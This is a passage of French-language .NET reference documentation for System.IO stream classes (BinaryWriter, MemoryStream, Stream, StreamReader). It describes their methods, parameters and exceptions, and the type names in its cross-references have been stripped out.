éventuellement de laisser le flux ouvert. + Flux de sortie. + Encodage de caractères à utiliser. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + + ou est null. + + + Obtient le flux sous-jacent de . + Flux sous-jacent associé à BinaryWriter. + 1 + + + Libère toutes les ressources utilisées par l'instance actuelle de la classe . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur le périphérique sous-jacent. + 1 + + + Spécifie sans magasin de sauvegarde. + 1 + + + Contient le flux sous-jacent. + + + Définit la position dans le flux actuel. + Position dans le flux actuel. + Offset d'octet par rapport à . + Champ de indiquant le point de référence à partir duquel la nouvelle position doit être obtenue. + Le pointeur de fichier a été déplacé vers un emplacement non valide. + La valeur n'est pas valide. + 1 + + + Écrit une valeur Boolean de 1 octet dans le flux actuel, 0 représentant false et 1 représentant true. + Valeur Boolean à écrire (0 ou 1). + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un octet non signé dans le flux actuel et avance la position du flux d'un octet. + Octet non signé à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un tableau d'octets dans le flux sous-jacent. + Tableau d'octets contenant les données à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + + a la valeur null. + 1 + + + Écrit une zone d'un tableau d'octets dans le flux actuel. + Tableau d'octets contenant les données à écrire. + Point de départ de à partir duquel l'écriture doit commencer. + Nombre d'octets à écrire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un caractère Unicode dans le flux actuel et avance la position actuelle du flux en fonction du Encoding utilisé et des caractères spécifiques en cours d'écriture dans le flux. + Caractère Unicode de non-substitution à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + + est un caractère de substitution unique. + 1 + + + Écrit un tableau de caractères dans le flux actuel et avance la position actuelle du flux en fonction du Encoding utilisé et des caractères spécifiques en cours d'écriture dans le flux. + Tableau de caractères contenant les données à écrire. + + a la valeur null. + Le flux est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit dans le flux actuel une section d'un tableau de caractères et avance la position actuelle du flux en fonction du Encoding utilisé et éventuellement des caractères spécifiques écrits. + Tableau de caractères contenant les données à écrire. + Point de départ de à partir duquel l'écriture doit commencer. + Nombre de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur décimale dans le flux actuel et avance la position du flux de 16 octets. + Valeur décimale à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur à virgule flottante de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Valeur à virgule flottante de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 2 octets dans le flux actuel et avance la position du flux de 2 octets. + Entier signé de 2 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Entier signé de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier signé de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Entier signé de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un octet signé dans le flux actuel et avance la position du flux d'un octet. + Octet signé à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit une valeur à virgule flottante de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Valeur à virgule flottante de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit dans ce flux une chaîne préfixée par sa longueur dans l'encodage actuel de et avance la position actuelle du flux en fonction de l'encodage utilisé et des caractères spécifiques écrits dans le flux. + Valeur à écrire. + Une erreur d'E/S se produit. + + a la valeur null. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 2 octets dans le flux actuel et avance la position du flux de 2 octets. + Entier non signé de 2 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 4 octets dans le flux actuel et avance la position du flux de 4 octets. + Entier non signé de 4 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un entier non signé de 8 octets dans le flux actuel et avance la position du flux de 8 octets. + Entier non signé de 8 octets à écrire. + Une erreur d'E/S se produit. + Le flux est fermé. + 1 + + + Écrit un nombre entier 32 bits dans un format compressé. + Entier 32 bits à écrire. + La fin du flux est atteinte. + Le flux est fermé. + Le flux est fermé. + + + Exception levée en cas de tentative de lecture au-delà de la fin du flux. + 2 + + + Initialise une nouvelle instance de la classe dont la chaîne de message correspond à un message fourni par le système et HRESULT équivaut à COR_E_ENDOFSTREAM. + + + Initialise une nouvelle instance de la classe dont la chaîne de message correspond à et HRESULT équivaut à COR_E_ENDOFSTREAM. + Chaîne qui décrit l'erreur.Le contenu du doit être compréhensible pour les utilisateurs.L'appelant de ce constructeur doit vérifier que cette chaîne a été localisée pour la culture du système en cours. + + + Initialise une nouvelle instance de la classe avec un message d'erreur spécifié et une référence à l'exception interne ayant provoqué cette exception. + Chaîne qui décrit l'erreur.Le contenu du doit être compréhensible pour les utilisateurs.L'appelant de ce constructeur doit vérifier que cette chaîne a été localisée pour la culture du système en cours. + Exception qui constitue la cause de l'exception actuelle.Si le paramètre n'est pas null, l'exception en cours est levée dans un bloc catch qui gère l'exception interne. + + + Exception qui est levée lorsque le format d'un flux de données n'est pas valide. + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec un message d'erreur spécifié. + Message d'erreur indiquant la raison de l'exception. + + + Initialise une nouvelle instance de la classe avec une référence à l'exception interne qui est la cause de cette exception. + Message d'erreur indiquant la raison de l'exception. + Exception qui constitue la cause de l'exception actuelle.Si le paramètre n'est pas null, l'exception en cours est levée dans un bloc catch qui gère l'exception interne. + + + Crée un flux dont le magasin de stockage est la mémoire.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 2 + + + Initialise une nouvelle instance de la classe avec une capacité extensible initialisée à zéro. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction du tableau d'octets spécifié. + Tableau d'octets non signés à partir duquel créer le flux actuel. + + a la valeur null. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction du tableau d'octets spécifié, avec la propriété spécifiée. + Tableau d'octets non signés à partir duquel créer ce flux. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + + a la valeur null. + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction de la région (index) spécifiée d'un tableau d'octets. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + + a la valeur null. + + ou est inférieur à zéro. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance non redimensionnable de la classe en fonction de la région spécifiée d'un tableau d'octets, avec la propriété spécifiée. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + + a la valeur null. + + ou est négatif. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance de la classe en fonction de la région spécifiée d'un tableau d'octets, avec la propriété spécifiée et la possibilité d'appeler comme spécifié. + Tableau d'octets non signés à partir duquel créer ce flux. + Index dans auquel commence le flux. + Longueur du flux en octets. + Définition de la propriété , qui détermine si le flux prend en charge l'écriture. + true pour activer , qui retourne le tableau d'octets non signés à partir duquel le flux a été créé ; sinon, false. + + a la valeur null. + + ou est négatif. + La longueur de la mémoire tampon moins est inférieure à . + + + Initialise une nouvelle instance de la classe avec une capacité extensible initialisée à la valeur spécifiée. + Taille initiale du tableau interne, en octets. + + est négatif. + + + Obtient une valeur indiquant si le flux actuel prend en charge la lecture. + true si le flux est ouvert. + 2 + + + Obtient une valeur indiquant si le flux actuel prend en charge la recherche. + true si le flux est ouvert. + 2 + + + Obtient une valeur indiquant si le flux actuel prend en charge l'écriture. + true si le flux prend en charge l'écriture ; sinon, false. + 2 + + + Obtient ou définit le nombre d'octets alloués pour ce flux. + Longueur de la partie de la mémoire tampon qui peut être utilisée pour le flux. + La capacité définie correspond à une valeur négative ou est inférieure à la longueur actuelle du flux. + Le flux actuel est fermé. + set est appelé sur un flux dont la capacité ne peut pas être modifiée. + 2 + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon et un jeton d'annulation spécifiés. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro. + Jeton pour surveiller les demandes d'annulation. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Libère les ressources non managées utilisées par la classe et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Remplace la méthode afin qu'aucune action ne soit effectuée. + 2 + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux et surveille les demandes d'annulation. + Tâche qui représente l'opération de vidage asynchrone. + Jeton pour surveiller les demandes d'annulation. + Le flux a été supprimé. + + + Obtient la longueur du flux en octets. + Longueur du flux en octets. + Le flux est fermé. + 2 + + + Obtient ou définit la position actuelle dans le flux. + Position actuelle dans le flux. + La position correspond à une valeur négative ou à une valeur supérieure à . + Le flux est fermé. + 2 + + + Lit un bloc d'octets à partir du flux actuel et écrit les données dans une mémoire tampon. + Nombre total d'octets écrits dans la mémoire tampon.Ce total peut être inférieur au nombre d'octets demandés si ce nombre d'octets n'est pas actuellement disponible, ou égal à zéro si la fin du flux a été atteinte avant que des octets soient lus. + Quand cette méthode retourne un résultat, contient le tableau d'octets spécifié dont les valeurs comprises entre et ( +  - 1) sont remplacées par les caractères lus dans le flux actuel. + Dans , décalage d'octet de base zéro auquel commencer le stockage des données à partir du flux actuel. + Nombre maximal d'octets à lire. + + a la valeur null. + + ou est négatif. + + soustrait à la longueur de la mémoire tampon est inférieur à . + L'instance du flux actuel est fermée. + 2 + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position dans le flux du nombre d'octets lus et surveille les demandes d'annulation. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit un octet dans le flux actuel. + Conversion du type (transtypage) de l'octet en , ou -1 si la fin du flux a été atteinte. + L'instance du flux actuel est fermée. + 2 + + + Définit la position dans le flux actuel à la valeur spécifiée. + Nouvelle position dans le flux, calculée en combinant le point de référence initial et le décalage. + Nouvelle position dans le flux.Elle est relative au paramètre et peut être positive ou négative. + Valeur de type , qui sert de point de référence à la recherche. + Tentative de recherche avant le début du flux. + + est supérieur à . + Un n'est pas valide. ou a entraîné des dépassements de capacité arithmétiques. + L'instance du flux actuel est fermée. + 2 + + + Définit la longueur du flux actuel à la valeur spécifiée. + Valeur à laquelle définir la longueur. + Le flux actuel n'est pas redimensionnable et est supérieur à la capacité actuelle.ou Le flux actuel ne prend pas en charge l'écriture. + + est négatif ou supérieur à la longueur maximale de , où la longueur maximale est ( - origine), et l'origine est l'index dans la mémoire tampon sous-jacente auquel commence le flux. + 2 + + + Écrit le contenu du flux dans un tableau d'octets, indépendamment de la propriété . + Nouveau tableau d'octets. + 2 + + + Retourne le tableau d'octets non signés à partir duquel ce flux a été créé.La valeur de retour indique si la conversion a réussi. + true si la conversion a réussi ; sinon, false. + Segment de tableau d'octets à partir duquel ce flux a été créé. + + + Écrit un bloc d'octets dans le flux actuel en utilisant des données lues dans une mémoire tampon. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro auquel commencer la copie des octets dans le flux actuel. + Nombre maximal d'octets à écrire. + + a la valeur null. + Le flux ne prend pas en charge l'écriture.Pour plus d'informations, consultez .ou La position actuelle est à moins de octets de la fin du flux et la capacité ne peut pas être modifiée. + + soustrait à la longueur de la mémoire tampon est inférieur à . + + ou est négatif. + Une erreur d'E/S se produit. + L'instance du flux actuel est fermée. + 2 + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position actuelle dans ce flux du nombre d'octets écrits et surveille les demandes d'annulation. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un octet à la position actuelle dans le flux actuel. + Octet à écrire. + Le flux ne prend pas en charge l'écriture.Pour plus d'informations, consultez .ou La position actuelle est à la fin du flux et la capacité ne peut pas être modifiée. + Le flux actuel est fermé. + 2 + + + Écrit le contenu complet de ce flux de mémoire dans un autre flux. + Flux dans lequel écrire ce flux de mémoire. + + a la valeur null. + Le flux en cours ou le flux cible est fermé. + 2 + + + Spécifie la position au sein d'un flux à utiliser pour la recherche. + 2 + + + Spécifie le début d'un flux. + + + Spécifie la position actuelle au sein d'un flux. + + + Spécifie la fin d'un flux. + + + Fournit une vue générique d'une séquence d'octets.Il s'agit d'une classe abstraite.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 2 + + + Initialise une nouvelle instance de la classe . + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge la lecture. + true si le flux prend en charge la lecture ; sinon, false. + 1 + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge la recherche. + true si le flux prend en charge la recherche ; sinon, false. + 1 + + + Obtient une valeur qui détermine si le flux actuel peut dépasser le délai d'attente. + Valeur qui détermine si le flux actuel peut dépasser le délai d'attente. + 2 + + + En cas de remplacement dans une classe dérivée, obtient une valeur indiquant si le flux actuel prend en charge l'écriture. + true si le flux prend en charge l'écriture ; sinon, false. + 1 + + + Lit les octets du flux actuel et les écrit dans un autre flux. + Flux vers lequel le contenu du flux actuel sera copié. + + a la valeur null. + Le flux actuel ne prend pas en charge la lecture.ou ne prend pas en charge l'écriture. + Le flux actuel ou de a été fermé avant l'appel de la méthode . + Une erreur d'E/S s'est produite. + + + Lit tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon spécifiée. + Flux vers lequel le contenu du flux actuel sera copié. + Taille de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux actuel ne prend pas en charge la lecture.ou ne prend pas en charge l'écriture. + Le flux actuel ou de a été fermé avant l'appel de la méthode . + Une erreur d'E/S s'est produite. + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + + a la valeur null. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Lit de façon asynchrone tous les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon spécifiée. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Lit de façon asynchrone les octets du flux actuel et les écrit dans un autre flux, en utilisant une taille de mémoire tampon et d'un jeton d'annulation spécifiés. + Tâche qui représente l'opération de copie asynchrone. + Flux vers lequel le contenu du flux actuel sera copié. + Taille en octets de la mémoire tampon.Cette valeur doit être supérieure à zéro.La taille par défaut est 81920. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + est négatif ou égal à zéro. + Le flux de données actuel ou le flux de données de destination est supprimé. + Le flux de données actuel ne prend pas en charge la lecture, ou le flux de données de destination ne prend pas en charge l'écriture. + + + Libère toutes les ressources utilisées par . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + En cas de remplacement dans une classe dérivée, efface toutes les mémoires tampons pour ce flux et provoque l'écriture de toutes les données se trouvant dans des mémoires tampons sur l'appareil sous-jacent. + Une erreur d'E/S se produit. + 2 + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le flux a été supprimé. + + + Efface de façon asynchrone toutes les mémoires tampons pour ce flux, provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent et surveille les demandes d'annulation. + Tâche qui représente l'opération de vidage asynchrone. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + Le flux a été supprimé. + + + En cas de remplacement dans une classe dérivée, obtient la longueur du flux en octets. + Valeur de type long représentant la longueur du flux en octets. + Une classe dérivée de Stream ne prend pas en charge la recherche. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + Élément Stream sans magasin de stockage. + 1 + + + En cas de remplacement dans une classe dérivée, obtient ou définit la position dans le flux actuel. + Position actuelle dans le flux. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la recherche. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + En cas de remplacement dans une classe dérivée, lit une séquence d'octets dans le flux actuel et avance la position dans le flux du nombre d'octets lus. + Nombre total d'octets lus dans la mémoire tampon.Le nombre d'octets peut être inférieur au nombre d'octets demandés si ce nombre n'est pas actuellement disponible ou égal à zéro (0) si la fin du flux a été atteinte. + Tableau d'octets.Quand cette méthode retourne un résultat, la mémoire tampon contient le tableau d'octets spécifié dont les valeurs comprises entre et ( +  - 1) sont remplacées par les octets lus dans la source actuelle. + Dans , décalage d'octet de base zéro auquel commencer le stockage des données lues dans le flux actuel. + Nombre maximal d'octets à lire dans le flux actuel. + La somme de et de est supérieure à la longueur de la mémoire tampon. + + a la valeur null. + + ou est négatif. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la lecture. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel et avance la position dans le flux du nombre d'octets lus. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position dans le flux du nombre d'octets lus et surveille les demandes d'annulation. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Mémoire tampon dans laquelle les données sont écrites. + Dans , décalage d'octet auquel commencer l'écriture des données à partir du flux. + Nombre maximal d'octets à lire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + Le flux a été supprimé. + Le flux est en cours d'utilisation par une opération de lecture précédente. + + + Lit un octet du flux et avance d'un octet la position au sein du flux, ou retourne -1 si la fin du flux a été atteinte. + Conversion de type (transtypage) de l'octet non signé en Int32, ou -1 si la fin du flux a été atteinte. + Le flux ne prend pas en charge la lecture. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + Obtient ou définit une valeur, exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'effectuer la lecture avant d’expiration du délai d’attente. + Valeur exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'effectuer la lecture avant de dépasser le délai d'attente. + La méthode lève toujours . + 2 + + + En cas de remplacement dans une classe dérivée, définit la position dans le flux actuel. + Nouvelle position dans le flux actuel. + Offset d'octet par rapport au paramètre . + Valeur de type indiquant le point de référence utilisé pour obtenir la nouvelle position. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge la recherche, comme s'il était construit à partir d'un canal ou d'une sortie console. + Des méthodes ont été appelées après que le flux a été fermé. + 1 + + + En cas de substitution dans une classe dérivée, définit la longueur de flux actuel. + Longueur souhaitée du flux actuel en octets. + Une erreur d'E/S se produit. + Le flux ne prend en charge ni l'écriture, ni la recherche, comme s'il était construit à partir d'un canal ou d'une sortie console. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + En cas de remplacement dans une classe dérivée, écrit une séquence d'octets dans le flux actuel et avance la position actuelle dans ce flux du nombre d'octets écrits. + Tableau d'octets.Cette méthode copie octets à partir de dans le flux actuel. + Dans , décalage d'octet de base zéro auquel commencer la copie des octets dans le flux actuel. + Nombre d'octets à écrire dans le flux actuel. + La somme des  et  est supérieure à la longueur du tampon. + + est null. + + ou  est un nombre négatif. + Une erreur d'e/s est survenue, tels que le fichier spécifié est introuvable. + Le flux ne prend pas en charge l'écriture. + + a été appelée une fois que le flux a été fermé. + 1 + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel et avance la position actuelle dans le flux du nombre d'octets écrits. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit de façon asynchrone une séquence d'octets dans le flux actuel, avance la position actuelle dans ce flux du nombre d'octets écrits et surveille les demandes d'annulation. + Tâche qui représente l'opération d'écriture asynchrone. + Mémoire tampon dont sont issues les données à écrire. + Dans , décalage d'octet de base zéro à partir duquel commencer la copie des octets dans le flux. + Nombre maximal d'octets à écrire. + Jeton pour surveiller les demandes d'annulation.La valeur par défaut est . + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux ne prend pas en charge l'écriture. + Le flux a été supprimé. + Le flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un octet à la position actuelle dans le flux et avance d'un octet la position dans le flux. + Octet à écrire dans le flux. + Une erreur d'E/S se produit. + Le flux ne prend pas en charge l'écriture ou bien il est déjà fermé. + Des méthodes ont été appelées après que le flux a été fermé. + 2 + + + Obtient ou définit une valeur, exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'écrire des données avant l’expiration du délai d'attente. + Valeur exprimée en millisecondes, qui définit la durée pendant laquelle le flux tentera d'écrire des données avant de dépasser le délai d'attente. + La méthode lève toujours . + 2 + + + Implémente qui lit les caractères à partir d'un flux d'octets dans un encodage particulier.Pour parcourir le code source de .NET Framework pour ce type, consultez la Reference Source. + 1 + + + Initialise une nouvelle instance de la classe pour le flux spécifié. + Flux à lire. + + ne prend pas en charge la lecture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'option de détection de la marque d'ordre d'octet spécifiée. + Flux à lire. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + + ne prend pas en charge la lecture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères spécifié. + Flux à lire. + Encodage des caractères à utiliser. + + ne prend pas en charge la lecture. + + ou a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères et l'option de détection de la marque d'ordre d'octet spécifiés. + Flux à lire. + Encodage des caractères à utiliser. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + + ne prend pas en charge la lecture. + + ou a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, avec l'encodage de caractères, l'option de détection de la marque d'ordre d'octet et la taille de mémoire tampon spécifiés. + Flux à lire. + Encodage des caractères à utiliser. + Indique s'il faut rechercher les marques d'ordre des octets au début du fichier. + Taille minimale de la mémoire tampon. + Le flux ne prend pas en charge la lecture. + + ou a la valeur null. + + est inférieur ou égal à zéro. + + + Initialise une nouvelle instance de la classe pour le flux spécifié en fonction de l'encodage de caractères, de l'option de détection de la marque d'ordre d'octet et de la taille de mémoire tampon spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux à lire. + Encodage des caractères à utiliser. + true pour rechercher les marques d'ordre d'octet au début du fichier ; sinon, false. + Taille minimale de la mémoire tampon. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + + Retourne le flux sous-jacent. + Flux sous-jacent. + 2 + + + Obtient l'encodage de caractères actuel utilisé par l'objet actuel. + Encodage des caractères actuel utilisé par le lecteur en cours.La valeur peut être différente après le premier appel à toute méthode de , car la détection automatique de l'encodage n'est effectuée qu'au premier appel à une méthode . + 2 + + + Efface la mémoire tampon interne. + 2 + + + Ferme le flux sous-jacent, libère les ressources non managées utilisées par l'élément et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Obtient une valeur qui indique si la position actuelle dans le flux est à la fin du flux. + true si la position actuelle dans le flux est à la fin du flux ; sinon, false. + Le flux sous-jacent a été supprimé. + 1 + + + Objet autour d'un flux vide. + 1 + + + Retourne le caractère disponible suivant, mais ne le consomme pas. + Entier représentant le caractère suivant à lire, ou -1 s'il n'y a pas de caractère à lire ou si le flux ne prend pas en charge la recherche. + Une erreur d'E/S se produit. + 1 + + + Lit le caractère suivant dans le flux d'entrée et avance la position d'un caractère. + Caractère suivant du flux d'entrée, représenté sous la forme d'un objet , ou -1 s'il n'y a plus de caractère disponible. + Une erreur d'E/S se produit. + 1 + + + Lit un nombre maximal de caractères spécifié du flux actuel dans une mémoire tampon, en commençant à l'index spécifié. + Le nombre de caractères qui ont été lus, ou 0 si c'est la fin du flux et qu'aucune donnée n'a été lue.Le nombre sera inférieur ou égal à la valeur du paramètre , selon que les données sont, ou non, disponibles dans le flux. + Quand cette méthode retourne un résultat, contient le tableau de caractères spécifié dont les valeurs comprises entre et () sont remplacées par les caractères lus dans la source actuelle. + Index de auquel commencer l'écriture. + Nombre maximal de caractères à lire. + La longueur de la mémoire tampon moins est inférieure à . + + a la valeur null. + + ou est négatif. + Une erreur d'E/S, telle que la fermeture du flux, se produit. + 1 + + + Lit un nombre maximal spécifié de caractères dans le flux actuel de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du flux a été atteinte. + Quand cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du flux est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode en cours se termine. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le flux a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir du flux actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon que tous les caractères d'entrée ont été lus ou non. + Quand cette méthode retourne un résultat, contient le tableau de caractères spécifié dont les valeurs comprises entre et () sont remplacées par les caractères lus dans la source actuelle. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S s'est produite. + + + Lit un nombre maximal spécifié de caractères dans le flux actuel de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur du résultat peut être 